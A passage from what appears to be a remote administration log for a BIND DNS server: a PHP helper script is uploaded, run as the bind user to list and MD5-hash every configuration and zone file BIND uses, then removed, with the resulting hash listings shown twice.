MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-06-17 18:59:50: Establishing a connection
2026-06-17 18:59:50: 

PUT: /tmp/pkp186425

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-06-17 18:59:50: 

runuser -l bind -s /bin/bash -c '/tmp/pkp186425; rm /tmp/pkp186425'

2026-06-17 18:59:50: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f528c9aa02ebb4638264fc82862875f3
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-06-17 19:01:30: Establishing a connection
2026-06-17 19:01:30: 

PUT: /tmp/pkp317037

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-06-17 19:01:30: 

runuser -l bind -s /bin/bash -c '/tmp/pkp317037; rm /tmp/pkp317037'

2026-06-17 19:01:31: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
